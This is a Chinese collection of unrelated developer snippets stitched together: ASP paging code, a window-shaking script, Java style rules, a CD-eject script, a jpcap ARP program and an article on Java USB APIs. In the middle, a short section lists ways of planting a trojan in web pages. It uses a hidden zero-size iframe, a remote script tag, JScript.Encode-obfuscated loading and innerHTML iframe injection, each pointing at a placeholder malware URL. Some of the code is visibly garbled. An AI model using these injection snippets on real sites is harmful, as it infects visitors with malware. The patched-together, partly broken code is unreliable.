其实这个代码就是老外的那个翻页插件,后来是哪位好朋友(不好意思,忘了)修改后放在论坛上的,我还做成过插件,其实光是拷贝也挺方便的。
    还有最后一段是前后翻页的按钮,呵呵,这个还是ccjat提醒后加上的,用不用都随便咯。
<%
记录集名字_total = 记录集名字.RecordCount

If (记录集名字_numRows < 0) Then
记录集名字_numRows = 记录集名字_total
Elseif (记录集名字_numRows = 0) Then
记录集名字_numRows = 1
End If

记录集名字_first = 1
记录集名字_last = 记录集名字_first + 记录集名字_numRows – 1

If (记录集名字_total <> -1) Then
If (记录集名字_first > 记录集名字_total) Then 记录集名字_first = 记录集名字_total
If (记录集名字_last > 记录集名字_total) Then 记录集名字_last = 记录集名字_total
If (记录集名字_numRows > 记录集名字_total) Then 记录集名字_numRows = 记录集名字_total
End If
%>
<%

If (记录集名字_total = -1) Then

记录集名字_total=0
While (Not 记录集名字.EOF)
记录集名字_total = 记录集名字_total + 1
记录集名字.MoveNext
Wend

If (记录集名字.CursorType > 0) Then
记录集名字.MoveFirst
Else
记录集名字.Requery
End If

If (记录集名字_numRows < 0 Or 记录集名字_numRows > 记录集名字_total) Then
记录集名字_numRows = 记录集名字_total
End If

记录集名字_first = 1
记录集名字_last = 记录集名字_first + 记录集名字_numRows – 1
If (记录集名字_first > 记录集名字_total) Then 记录集名字_first = 记录集名字_total
If (记录集名字_last > 记录集名字_total) Then 记录集名字_last = 记录集名字_total

End If
%>
<%
Set MM_rs = 记录集名字
MM_rsCount = 记录集名字_total
MM_size = 记录集名字_numRows
MM_uniqueCol = ""
MM_paramName = ""
MM_offset = 0
MM_atTotal = false
MM_paramIsDefined = false
If (MM_paramName <> "") Then
MM_paramIsDefined = (Request.QueryString(MM_paramName) <> "")
End If
%>

<%
if (Not MM_paramIsDefined And MM_rsCount <> 0) then

r = Request.QueryString("index")
If r = "" Then r = Request.QueryString("offset")
If r <> "" Then MM_offset = Int(r)

<%

MM_removeList = "&index="
If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""

For Each Item In Request.QueryString
NextItem = "&" & Item & "="
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
End If
Next

For Each Item In Request.Form
NextItem = "&" & Item & "="
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
End If
Next

MM_keepBoth = MM_keepURL & MM_keepForm
if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) – 1)
if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) – 1)
if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) – 1)

Function MM_joinChar(firstItem)
If (firstItem <> "") Then
MM_joinChar = "&"
Else
MM_joinChar = ""
End If
End Function
%>
<%
MM_keepMove = MM_keepBoth
MM_moveParam = "index"

If (MM_size > 0) Then
MM_moveParam = "offset"
If (MM_keepMove <> "") Then
params = Split(MM_keepMove, "&")
MM_keepMove = ""
For i = 0 To UBound(params)
nextItem = Left(params(i), InStr(params(i),"=") – 1)
If (StrComp(nextItem,MM_moveParam,1) <> 0) Then
MM_keepMove = MM_keepMove & "&" & params(i)
End If
Next
If (MM_keepMove <> "") Then
MM_keepMove = Right(MM_keepMove, Len(MM_keepMove) – 1)
End If
End If
End If

If (MM_keepMove <> "") Then MM_keepMove = MM_keepMove & "&"
urlStr = Request.ServerVariables("URL") & "?" & MM_keepMove & MM_moveParam & "="
MM_moveFirst = urlStr & "0"
MM_moveLast = urlStr & "-1"
MM_moveNext = urlStr & Cstr(MM_offset + MM_size)
prev = MM_offset – MM_size
If (prev < 0) Then prev = 0
MM_movePrev = urlStr & Cstr(prev)
%>
<script language="JavaScript">
function jumpage(selObj,restore){
eval("location=‘"+selObj.options[selObj.selectedIndex].value+"‘");
if (restore) selObj.selectedIndex=0;}
</script>

<select name="pages" size=1 onChange="jumpage(this,0)" class="txtfld">
<%
TM_counter = 0
For i = 1 to 记录集名字_total Step MM_size
TM_counter = TM_counter + 1
TM_PageEndCount = i + MM_size – 1
if TM_PageEndCount > 记录集名字_total Then TM_PageEndCount = 记录集名字_total
if i <> MM_offset + 1 then
%>
<option value="<%=Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & i-1 %>">
第 <%= TM_counter %> 页</option>
<% else %>
<option selected>第 <%=TM_counter%> 页</option>
<% End if %>
<% next %>
</select>
<input type="button" class="INPUT" onclick="location.href=‘<%=MM_movePrev%>‘" value="|" style="FONT-FAMILY: ‘Wingdings 3‘" <% If MM_offset <> 0 Then
response.write ""
else
response.write "disabled"
end if %>>
<input type="button" class="INPUT" onclick="location.href=‘<%=MM_moveNext%>‘" value="}" style="FONT-FAMILY: ‘Wingdings 3‘" <% If Not MM_atTotal Then
response.write ""
else
response.write "disabled"
end if %>>

  首先在页面的<head></head>区加入以下代码:

<script>
function anticopy(n)
{
if(self.moveTo)
{
self.moveTo(0,-900);
for(i = n; i > 0; i–)
{
self.moveTo(0,3);
}
for(j = 8; j > 0; j–)
{
self.moveTo(0,j);
self.moveTo(j,0);
self.moveTo(0,-j);
self.moveTo(-j,0);
}
}
}
</script>

方法1: 这个方法显示的效果就是一个按钮,比较简单方便,baidu传情使用的就是这个方法。

方法1示例:

方法2: 这个方法就是本站使用的方法。

  本文介绍的Java规则的说明分为5个级别,级别1是最基本也是最重要的级别,在今后将陆续写出其他的规则。遵守了这些规则可以提高程序的效率、使代码有更好的可读性等。

  (1) 避免使用NEW关键字来创建String对象

  把一个String常量copy到String 对象中通常是多余、浪费时间的。

Public class test{
 Public void method(){
  System.out.print (str);
 }
 private String str = new String ("1"); //这里新建对象是完全没有必要的
 private String str2=”2” //正确的应该如此
}

  (2) 避免使用不必要的嵌套

  过多的嵌套会使你的代码复杂化,减弱可读性。

Public class test {
 String add (){
  Int c=(a=a+b)+b; //过于复杂
  Return c
 }
}

  (3) 避免在同一行声明不同类型的多个变量

  这样可以使程序更加清晰,避免混乱

private int index, index1[];

  正确的应该如此:

private int index;
private int index1[];

  (4) 在每一行里写一条语句

  这条规则不包括for语句:比如:‘for (int i = 0; i < 10; i++) x–;’可以增加代码的可读性。

public class OSPL {
 int method (int a, int b) {
  int i = a + b; return i; // 可读性不强
 }

  正确的:

public class OSPLFixed {
 int method (int a, int b) {
  int i = a + b;
  return i;
 }
}

  (5)经常从finalize ()中调用super.finalize ()

  这里的finalize ()是java在进行垃圾收集的时候调用的,和finally不一样。如果你的父类没有定义finally()的话,你也应该调用。这里有两个原因:(1)在不改变代码的情况下能够将父类的finally方法加到你的类中。 (2)以后你会养成习惯调用父类的finally方法,即使父类没有定义finally方法的时候。

  正确的方法应该如此:

public class parentFinalize {
 protected void finalize () throws Throwable {
  super.finalize(); // FIXED
 }

  (6) 不要在finalize ()中注销listeners

  不要再finalize ()方法中中注销listeners,finalize ()只有再没有对象引用的时候调用,如果listeners从finalize()方法中去除了,被finalize的对象将不会在垃圾收集中去除。

public void finalize () throws Throwable {
 bButton.removeActionListener (act);
}

  (7) 不要显式的调用finalize ()方法

  虽然显式的调用这个方法可以使你确保你的调用,但是当这个方法收集了以后垃圾收集会再收集一次。

public class T7 {
 public void finalize() throws Throwable {
  close_resources ();
  super.finalize ();
 }
 public void close_resources() {}
}
class Test {
 void cleanup () throws Throwable {
  t71.finalize(); // 调用
  t71 = null;
 }
 private t71 = new T7 ();
}

  对于这样的调用我们应该自己创建一个释放的方法,做最初finalize ()所作的事情,当你每次想显式的调用finalize ()的时候实际上调用了释放方法。然后再使用一个判断字段来确保这个方法只执行一次,以后再调用就没关系了。

public class T7 {
 public synchronized void release () throws Throwable{
  if (!_released) {
   close_resources (); // do what the old ‘finalize ()‘
   did _released = true;
  }
 }
 public void finalize () throws Throwable {
  release ();
  super.finalize ();
 }
 public void close_resources() {}
 private boolean _released = false;
}
class TestFixed {
 void closeTest () throws Throwable {
  t71 .release (); // FIXED
  t71 = null;
 }
 private T7 t71 = new T7 ();
}

  (8)不要使用不推荐的API

  尽量使用JDK1.3推荐的API。在类和方法或者java组件里有很多方法是陈旧的或者是可以选择的。有一些方法SUN用了"deprecated“标记。最好不要使用例如:

private List t_list = new List ();
t_list.addItem (str);

  如果查一下javadoc的话,会发现建议用add()来代替addItem()。

  (9)为所有序列化的类创建一个‘serialVersionUID‘

  可以避免从你各种不同的类破坏序列的兼容性。如果你不特别制订一个UID的话,那么系统为自动产生一个UID(根据类的内容)。如果UID在你新版本的类中改变了,即使那个被序列化的类没改变,你也不能反序列化老的版本了。

public class DUID implements java.io.Serializable { public void method () {}}

  在里面加一个UID,当这个类的序列化形式改变的时候,你也改变这个UID就可以了。

public class DUIDFixed implements java.io.Serializable {
 public void method () {}
 private static final long serialVersionUID = 1;
}

  (10)对于private常量的定义

  比较好的做法是对于这样的常量,加上final标记,这样的常量从初始化到最后结束值都不会改变。

private int size = 5;

  改变后的做法是:

private final int size = 5;

  (11)避免把方法本地变量和参数定义成和类变量相同的名字

  这样容易引起混扰,建议把任何的变量字都定义成唯一的。这样看来,SCJP里的那些题目在现实中就用不到了:)

public void method (int j) { final int i = 5; // VIOLATION } private int j = 2;

  建议:

public void method (int j1) { final int i = 5; // VIOLATION } private int j = 2;

今天因为需要找了一个可以关闭光驱的VB Script,把下列代码保存为CloseCDROM.vbs就可使用

Set wmp = CreateObject("WMPlayer.OCX.7")
Set cdrom = wmp.cdromCollection
If cdrom.Count >= 1 then
 For z = 0 to cdrom.Count – 1
  cdrom.Item(z).Eject
 Next
 For z = 0 to cdrom.Count – 1
  cdrom.Item(z).Eject
 Next
End If

该Script有问题,不能使用

前言

  java是跨平台语言,一般来说对网络的操作都在IP层以上,也就是只能对tcp/udp进行操作,当然也可以设置部分tcp/udp的option,如果想再往IP层或者数据link层操作就无能为力了,必须依靠jni使用本地OS的socket部分接口。很幸运,我在知道有winpcap的时候同时也知道有人在开发jpcap,此包可以方便的操作网络底层应用协议,以下详细描述。

  实施步骤

  下载需要的包:http://netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html上可以下到最新的jpcap,你只需要把lib中的dll文件拷贝到jre的bin目录,同时lib中的jar文件拷贝到jre中的lib/ext目录下就安装完整,当然你可以使用exe安装包进行安装,这样会更加的简单。

  编码

  你可以使用任何你喜欢的ide工具,但是必须把jpcap.jar加到classpath中,否则无法编译通过,以下为代码详细。

import java.net.Inet4Address;
import java.net.InetAddress;
import java.util.Arrays;

import jpcap.*;
import jpcap.packet.*;

public class ARP {
 public static byte[] arp(InetAddress ip) throws java.io.IOException{
  //发现本机器的网络接口
  int i;
  NetworkInterface[] devices=JpcapCaptor.getDeviceList();
  NetworkInterface device=null;
  for (i = 0; i < devices.length; i++)
  {
   System.out.println(devices[i].description);
  }
  device = devices[2];//我的机器是第三个进行网络通信

  if(device==null)
   throw new IllegalArgumentException(ip+" is not a local address");

  //开启网络接口
  JpcapCaptor captor=JpcapCaptor.openDevice(device,2000,false,3000);
  captor.setFilter("arp",true);
  JpcapSender sender=captor.getJpcapSenderInstance();

  InetAddress srcip=null;
  //获得接口地址,这里考虑到一网络接口可能有多地址
  for(i = 0; i < device.addresses.length ; i++)
   if(device.addresses[i].address instanceof Inet4Address){
    srcip=device.addresses[i].address;
    break;
  }

  //填写全1广播mac目标地址
  byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
  ARPPacket arp=new ARPPacket();
  arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  arp.prototype=ARPPacket.PROTOTYPE_IP;
  arp.operation=ARPPacket.ARP_REQUEST;
  arp.hlen=6;
  arp.plen=4;
  arp.sender_hardaddr=device.mac_address;
  arp.sender_protoaddr=srcip.getAddress();
  arp.target_hardaddr=broadcast;
  arp.target_protoaddr=ip.getAddress();

  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;
  ether.dst_mac=broadcast;
  arp.datalink=ether;
  //发送
  sender.sendPacket(arp);
  //处理回复
  while(true){
   ARPPacket p=(ARPPacket)captor.getPacket();
   if(p==null){
    throw new IllegalArgumentException(ip+" is not a local address");
   }
   if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
    return p.sender_hardaddr;
   }
  }
 }

 public static void main(String[] args) throws Exception{
  int i;
  if(args.length<1){
   System.out.println("Usage: java ARP <ip address>");
  }else{
   byte[] mac=ARP.arp(InetAddress.getByName(args[0]));
   for (i = 0;i < mac.length; i++)
    System.out.print(Integer.toHexString(mac[i]&0xff) + ":");
   System.out.println();
   System.exit(0);
  }
 }
}

  运行:java ARP <ipaddr>

  本程序经过测试,在linux和win都可以正常运行。

  一、最简单的也是最有效的 

  <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>

  二、js挂马

  <script src=http://www.xxx.com/muma.js></script>

  三、js变形加密

  <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>

  muma.txt可改成任意后缀的。

  四、不是嵌入了与iframe不同

  top.document.body.innerHTML = top.document.body.innerHTML + ‘<iframe src="木马地址"></iframe>‘

Java 平台一直都以其平台无关性自豪。虽然这种无关性有许多好处,但是它也使得编写与硬件交互的 Java 应用程序的过程变得相当复杂。在本文中,研究科学家蒋清野讨论了两个项目,它们通过提供使Java 应用程序可以使用 USB 设备的 API 而使这个过程变得更容易。虽然这两个项目仍然处于萌芽状态,但是它们都显示了良好的前景,并已经成为一些实用应用程序的基础。

通用串行总线(Universal Serial Bus USB)规范的第一个版本发表于 1996 1月。因为它的低成本、高数据传输率、使用容易和灵活性,USB 在计算机行业里获得了广泛接受。今天,许多周边设备和装置都是通过 USB 接口连接到计算机上的。目前,大多数一般用途的操作系统都提供了对 USB 设备的支持,并且用 C 或者 C++ 可以相对容易地开发访问这些外设的应用程序。不过,Java 编程语言在设计上对硬件访问提供的支持很少,所以编写与 USB 设备交互的应用程序是相当困难的。

IBM Dan Streetman 最早开始了在 Java 语言中提供对 USB 设备的访问的努力。2001年,他的项目通过 Java 规范请求(Java Specification RequestJSR)过程被接受为 Java 语言的候选扩展标准。这个项目现在称为 JSR-80 并且指定了官方包 javax.usb。同时,在 2000 6月,Mojo Jojo David Brownell SourceForge 开始了 jUSB 项目。这两个项目都开发出了 Linux 开发人员可以使用的包,尽管它们都还很不完善。这两个项目也都开始试图向其他操作系统上的 Java 应用程序提供对 USB 设备的访问,尽管它们都还没有开发出可以使用的包(参阅 参考资料 中有关本文中讨论的这两个项目及其他项目的资料)

在本文中,将对 jUSB JSR-80 项目作一个简要介绍,不过,我们首先要看一下 USB 协议的具体细节,这样您就可以理解这两个项目是如何与 USB 设备交互的。我们还将提供代码片段以展示如何用这两个项目的 API 访问 USB 设备。

USB 介绍

1994年,一个由四个行业伙伴(CompaqIntelMicrosoft NEC)组成的联盟开始制定 USB 协议。该协议最初的目的是将 PC 与电话相连并提供容易扩展和重新配置的 I/O 接口。1996 1月,发表了 USB 规范的第一个版本,1998 9月发表了后续版本(版本 1.1)。这个规范允许 127台设备同时连接到一起,总的通信带宽限制为 12 Mbps。后来,又有三个成员(Hewlett-PackardLucent Philips)加入了这个联盟。2000 4月,发表了 USB 规范的 2.0版本,它支持高达 480 Mbps 的传输率。今天,USB 在高速(视频、图像、储存)和全速(音频、宽带、麦克风)数据传输应用中起了关键作用。它还使各种低速设备(键盘、鼠标、游戏外设、虚拟现实外设)连接到 PC 上。

USB 协议有严格的层次结构。在所有 USB 系统中,只有一个主设备,到主计算机的的 USB 接口称为主控器(host controller)。主控器有两个标准??开放主控器接口(Compaq Open Host Controller InterfaceOHCI)和通用主控器接口(Intel Universal Host Controller InterfaceUHCI)。这两个标准提供了同样的能力,并可用于所有的 USB 设备,UHCI 的硬件实现更简单一些,但是需要更复杂的设备驱动程序(因而 CPU 的负荷更大一些)

USB 物理互连是分层的星形拓朴,最多有七层。一个 hub 是每个星形的中心,USB 主机被认为是 root hub。每一段连线都是 hub USB 设备的点对点连接,后者可以是为系统提供更多附加点的另一个 hub,也可以是一个提供功能的某种设备。主机使用主/从协议与 USB 设备通信。这种方式解决了包冲突的问题,但是同时也阻止了附加的设备彼此建立直接通信。

所有传输的数据都是由主控器发起的。数据从主机流向设备称为下行(downstream)或者输出(out)传输,数据从设备流向主机称为上 (upstream)或者输入(in)传输。数据传输发生在主机和 USB 设备上特定的端点(endpoint) 之间,主机与端点之间的数据链接称为管道(pipe) 一个给定的 USB 设备可以有许多个端点,主机与设备之间数据管道的数量与该设备上端点的数量相同。一个管道可以是单向或者是双向的,一个管道中的数据流与所有其他管道中的数据流无关。

USB 网络中的通信可以使用下面四种数据传输类型中的任意一种:

控制传输 这些是一些短的数据包,用于设备控制和配置,特别是在设备附加到主机上时。

批量传输 这些是数量相对大的数据包。像扫描仪或者 SCSI 适配器这样的设备使用这种传输类型。

中断传输 这些是定期轮询的数据包。主控器会以特定的间隔自动发出一个中断。

等时传输 这些是实时的数据流,它们对带宽的要求高于可靠性要求。音频和视频设备一般使用这种传输类型。

像串行端口一样,计算机上每一个 USB 端口都由 USB 控制器指定了一个惟一的标识数字(端口 ID)。当 USB 设备附加到 USB 端口上时,就将这个 惟一端口 ID 分配给这台设备,并且 USB 控制器会读取设备描述符。设备描述符包括适用于该设备的全局信息、以及设备的配置信息。配置定义了一台 USB 设备的功能和 I/O 行为。一台 USB 设备可以有一个或者多个配置,这由它们相应的配置描述符所描述。每一个配置都有一个或者多个接口,它可以视为一个物理通信渠道 ;每一个接口有零个或者多个端点,它可以是数据提供者或者数据消费者,或者同时具有这两种身份。接口由接口描述符描述,端点由端点描述符描述。并且一台 USB 设备可能还有字符串描述符以提供像厂商名、设备名或者序列号这样的附加信息。

正如您所看到的,像 USB 这样的协议为使用 Java 这种强调平台和硬件无关性的语言的开发人员提出了挑战。现在让我们看两个试图解决这个问题的项目。

jUSB API

jUSB 项目是由 Mojo Jojo David Brownell 2000 6月创立的。其目标是提供一组免费的、在 Linux 平台上访问 USB 设备的 Java API。这个 API 是按照 Lesser GPL (LGPL)条款发表的,这意味着您可以在专有和免费软件项目中使用它。这个 API 提供了对多个物理 USB 设备的多线程访问,并支持本机和远程设备。具有多个接口的设备可以同时被多个应用程序(或者设备驱动程序)所访问,其中每一个应用程序(或者设备驱动程序)都占据一个不同的接口。该 API 支持控制传输、批量传输和中断传输,不支持等时传输,因为等时传输用于媒体数据(如音频和视频)JMF API 已经在其他标准设备驱动程序上对此提供了很好的支持(参阅 参考资料)。当前,该 API 可以在具有 Linux 2.4 核心或者以前的 2.2.18 核心的 GNU/Linux 版本上工作。因此可支持大多数最新的版本,例如,该 API 可以在没有任何补丁或者升级的 Red Hat 7.2 9.0 上工作。

jUSB API 包括以下包:

1.usb.core: 这个包是 jUSB API 的核心部分。它使得 Java 应用程序可以从 USB 主机访问 USB 设备。

2.usb.linux: 这个包包含 usb.core.Host 对象的 Linux 实现、bootstrapping 支持和其他可以提升 Linux USB 支持的类。这个实现通过虚拟 USB 文件系统(usbdevfs)访问 USB 设备。

3.usb.windows: 这个包包含 usb.core.Host 对象的 Windows 实现、bootstrapping 支持和其他可以提升 Windows USB 支持的类。这个实现仍然处于非常初级的阶段。

4.usb.remote: 这个包是 usb.core API 的远程版本。它包括一个 RMI proxy 和一个 daemon 应用程序,它让 Java 应用程序可以访问远程计算机上的 USB 设备。

5.usb.util: 这个包提供了一些有用的实用程序,可以将 firmware下载到 USB 设备上、将 USB 系统的内容转储到 XML 中、以及将只有 bulk I/O USB 设备工具转换成一个套接字(socket)

6.usb.devices: 这个可选包收集了用 jUSB API 访问不同 USB 设备的 Java 代码,包括柯达数码相机和 Rio 500 MP3 播放器。这些 API 经过特别编写以简化访问特定 USB 设备的过程,并且不能用于访问其他设备。这些 API 是在 usb.core API 之上构建的,它们可以工作在所有支持 jUSB 的操作系统上。

7.usb.view: 这个可选包提供了基于 Swing USB 树简单浏览器。它是一个展示 jUSB API 应用的很好的示例程序。

尽管 usb.core.Host 对象的实现对于不同的操作系统是不同的,但是 Java 程序员只需要理解 usb.core 包就可以用 jUSB API 开始应用程序的开发。表 1 列出了 usb.core 的接口和类,Java 程序员应该熟悉它们:

1. jUSB 中的接口和类

接口/

说明

Bus

将一组 USB 设备连接到 Host

Host

表示具有一个或者多个 Bus USB 控制器

Configuration

提供对设备所支持的 USB 配置的访问,以及对与该配置关联的接口的访问

Descriptor

具有 USB 类型的描述符的实体的基类

Device

提供对 USB 设备的访问

DeviceDescriptor

提供对 USB 设备描述符的访问

EndPoint

提供对 USB 端点描述符的访问、在给定设备配置中构造设备数据输入或者输出

HostFactory

包含 bootstrapping 方法

Hub

提供对 USB hub 描述符以及一些 hub 操作的访问

Interface

描述一组端点,并与一个特定设备配置相关联

PortIdentifier

USB 设备提供稳定的字符串标识符,以便在操作和故障诊断时使

jUSB API 访问一台 USB 设备的正常过程如下:

1.通过从 HostFactory 得到 USB Host 进行 Bootstrap

2. Host 访问 USB Bus,然后从这个 Bus 访问 USB root hub( USB Device)

3.得到 hub 上可用的 USB 端口数量,遍历所有端口以找到正确的 Device

4.访问附加到特定端口上的 USB Device。可以用一台 Device PortIdentifier 直接从 Host 访问它,也可以通过从 root hub 开始遍历 USB Bus 找到它。

5. ControlMessage 与该 Device 直接交互,或者从该 Device 的当前 Configuration 中要求一个 Interface,并与该 Interface 上可用的 Endpoint 进行 I/O

清单 1 展示了如何用 jUSB API 获得 USB 系统中的内容。这个程序编写为只是查看 root hub 上可用的 USB 设备,但是很容易将它改为遍历整个 USB 树。这里的逻辑对应于上述步骤 1 到步骤 4

清单 1. jUSB API 获得 USB 系统的内容

import usb.core.*;

public class ListUSB

{

 public static void main(String[] args)

 {

try

{

 // Bootstrap by getting the USB Host from the HostFactory.

 Host host = HostFactory.getHost();

 // Obtain a list of the USB buses available on the Host.

 Bus[] bus = host.getBusses();

 int total_bus = bus.length;

 // Traverse through all the USB buses.

 for (int i=0; i

 {

// Access the root hub on the USB bus and obtain the

// number of USB ports available on the root hub.

Device root = bus[i].getRootHub();

int total_port = root.getNumPorts();

// Traverse through all the USB ports available on the

// root hub. It should be mentioned that the numbering

// starts from 1, not 0.

for (int j=1; j<=total_port; j++)

{

 // Obtain the Device connected to the port.

 Device device = root.getChild(j);

 if (device != null)

 {

// USB device available, do something here.

 }

}

 }

} catch (Exception e)

{

 System.out.println(e.getMessage());

}

 }

清单 2 展示了在应用程序成功地找到了 Device 的条件下,如何与 Interface EndPoint 进行批量 I/O 这个代码段也可以修改为执行控制或者中断 I/O。它对应于上述步骤 5

清单 2. jUSB API 执行批量 I/O

if (device != null)

{

 // Obtain the current Configuration of the device and the number of

 // Interfaces available under the current Configuration.

 Configuration config = device.getConfiguration();

 int total_interface = config.getNumInterfaces();

 // Traverse through the Interfaces

 for (int k=0; k

 {

// Access the currently Interface and obtain the number of

// endpoints available on the Interface.

Interface itf = config.getInterface(k, 0);

int total_ep = itf.getNumEndpoints();

// Traverse through all the endpoints.

for (int l=0; l

{

 // Access the endpoint, and obtain its I/O type.

 Endpoint ep = itf.getEndpoint(l);

 String io_type = ep.getType();

 boolean input = ep.isInput();

 // If the endpoint is an input endpoint, obtain its

 // InputStream and read in data.

 if (input)

 {

InputStream in;

in = ep.getInputStream();

// Read in data here

in.close();

 }

 // If the Endpoint is and output Endpoint, obtain its

 // OutputStream and write out data.

 else

 {

OutputStream out;

out = ep.getOutputStream();

// Write out data here.

out.close();

 }

}

 }

}


jUSB
项目在 2000 6月到 2001 2月期间非常活跃。该 API 的最新的版本 0.4.4发表于 2001 2 14日。从那以后只提出了很少的改进,原因可能是 IBM 小组成功地成为了 Java 语言的候选扩展标准。不过,基于 jUSB 已经开发出一些第三方应用程序,包括 JPhoto 项目(这是一个用 jUSB 连接到数码照相机的应用程序) jSyncManager 项目(这是一个用 jUSB 与使用 Palm 操作系统的 PDA 同步的应用程序)

JSR-80 API (javax.usb)

正如前面提到的,JSR-80 项目是由 IBM Dan Streetman 1999年创立的。2001年,这个项目通过 Java 规范请求(JSR)过程被接受为 Java 语言的候选扩展标准。这个项目现在称为 JSR-80 并且被正式分派了 Java javax.usb。这个项目使用 Common Public License 的许可证形式,并通过 Java Community Process 进行开发。这个项目的目标是为 Java 平台开发一个 USB 接口,可以从任何 Java 应用程序中完全访问 USB 系统。JSR-80 API 支持 USB 规范所定义的全部四种传输类型。目前,该 API Linux 实现可以在支持 2.4 核心的大多数最新 GNU/Linux 版本上工作,如 Red Hat 7.2 9.0

JSR-80 项目包括三个包:javax-usb (javax.usb API)javax-usb-ri (操作系统无关的基准实现的公共部分)以及 javax-usb-ri-linux (Linux 平台的基准实现,它将公共基准实现链接到 Linux USB 堆栈)。所有这三个部分都是构成 Linux 平台上 java.usb API 完整功能所必需的。在该项目的电子邮件列表中可以看到有人正在致力于将这个 API 移植到其他操作系统上(主要是 Microsoft Windows),但是还没有可以工作的版本发表。

尽管 JSR-80 API 的操作系统无关的实现在不同的操作系统上是不同的,但是 Java 程序员只需要理解 javax.usb 包就可以开始开发应用程序了。表 2 列出了 javax.usb 中的接口和类, Java 程序员应该熟悉它们:

2. JSR-80 API 中的接口和类

接口/

说明

UsbConfiguration

表示 USB 设备的配置

UsbConfigurationDescriptor

USB 配置描述符的接口

UsbDevice USB

设备的接口

UsbDeviceDescriptor USB

设备描述符的接口

UsbEndpoint USB

端点的接口

UsbEndpointDescriptor USB

端点描述符的接口

UsbHub

USB hub 的接口

UsbInterface

USB 接口的接口

UsbInterfaceDescriptor

USB 接口描述符的接口

UsbPipe USB

管道的接口

UsbPort USB

端口的接口

UsbServices

javax.usb实现的接口

UsbHostManager

javax.usb 的入口点

JSR-80 API 访问 USB 设备的正常过程如下:

1.通过从 UsbHostManager 得到相应的 UsbServices 进行 Bootstrap

2.通过 UsbServices 访问 root hub。在应用程序中 root hub 就是一个 UsbHub

3.获得连接到 root hub UsbDevices 清单。遍历所有低级 hub 以找到正确的 UsbDevice

4.用控制消息(UsbControlIrp) UsbDevice 直接交互,或者从 UsbDevice 的相应 UsbConfiguration 中要求一个 UsbInterface 并与该 UsbInterface 上可用的 UsbEndpoint 进行 I/O

5.如果一个 UsbEndpoint 用于进行 I/O,那么打开与它关联的 UsbPipe。通过这个 UsbPipe 可以同步或者异步提交上行数

( USB 设备到主计算机)和下行数据(从主计算机到 USB 设备)

6.当应用程序不再需要访问该 UsbDevice 时,关闭这个 UsbPipe 并释放相应的 UsbInterface

在清单 3 中,我们用 JSR-80 API 获得 USB 系统的内容。这个程序递归地遍历 USB 系统上的所有 USB hub 并找出连接到主机计算机上的所有 USB 设备。这段代码对应于上述步骤 1 到步骤 3

清单 3. JSR-80 API 获得 USB 系统的内容

import javax.usb.*;

import java.util.List;

public class TraverseUSB

{

 public static void main(String argv[])

 {

try

{

 // Access the system USB services, and access to the root

 // hub. Then traverse through the root hub.

 UsbServices services = UsbHostManager.getUsbServices();

 UsbHub rootHub = services.getRootUsbHub();

 traverse(rootHub);

} catch (Exception e) {}

 }

 public static void traverse(UsbDevice device)

 {

if (device.isUsbHub())

{

 // This is a USB Hub, traverse through the hub.

 List attachedDevices = ((UsbHub) device).getAttachedUsbDevices();

 for (int i=0; i

 {

traverse((UsbDevice) attachedDevices.get(i));

 }

}

else

{

 // This is a USB function, not a hub.

 // Do something.

}

 }

}

清单 4 展示了在应用程序成功地找到 Device 后,如何与 Interface EndPoint 进行 I/O。这段代码还可以修改为进行所有四种数据传输类型的 I/O。它对应于上述步骤 4 到步骤 6

清单 4. JSR-80 API 进行 I/O

public static void testIO(UsbDevice device)

{

 try

 {

// Access to the active configuration of the USB device, obtain

// all the interfaces available in that configuration.

UsbConfiguration config = device.getActiveUsbConfiguration();

List totalInterfaces = config.getUsbInterfaces();

// Traverse through all the interfaces, and access the endpoints

// available to that interface for I/O.

for (int i=0; i

{

 UsbInterface interf = (UsbInterface) totalInterfaces.get(i);

 interf.claim();

 List totalEndpoints = interf.getUsbEndpoints();

 for (int j=0; j

 {

// Access the particular endpoint, determine the direction

// of its data flow, and type of data transfer, and open the

// data pipe for I/O.

UsbEndpoint ep = (UsbEndpoint) totalEndpoints.get(i);

int direction = ep.getDirection();

int type = ep.getType();

UsbPipe pipe = ep.getUsbPipe();

pipe.open();

// Perform I/O through the USB pipe here.

pipe.close();

 }

 interf.release();

}

 } catch (Exception e) {}

}

JSR-80 项目从一开始就非常活跃。2003 2月发表了 javax.usb APIRI RI 0.10.0 版本。看起来这一版本会提交给 JSR-80 委员会做最终批准。预计正式成为 Java 语言的扩展标准后,其他操作系统上的实现会很快出现。Linux 开发者团体看来对 JSR-80 项目的兴趣比 jUSB 项目更大,使用 Linux 平台的 javax.usb API 的项目数量在不断地增加。

结束语

 

jUSB API JSR-80 API 都为应用程序提供了从运行 Linux 操作系统的计算机中访问 USB 设备的能力。JSR-80 API 提供了比 jUSB API 更多的功能,很有可能成为 Java 语言的扩展标准。目前,只有 Linux 开发人员可以利用 jUSB JSR-80 API 的功能。不过,有人正在积极地将这两种 API 移植到其他操作系统上。Java 开发人员应该在不久就可以在其他操作系统上访问 USB 设备。从现在起就熟悉这些 API,当这些项目可以在多个平台上发挥作用时,您就可以在自己的应用程序中加入 USB 功能了.

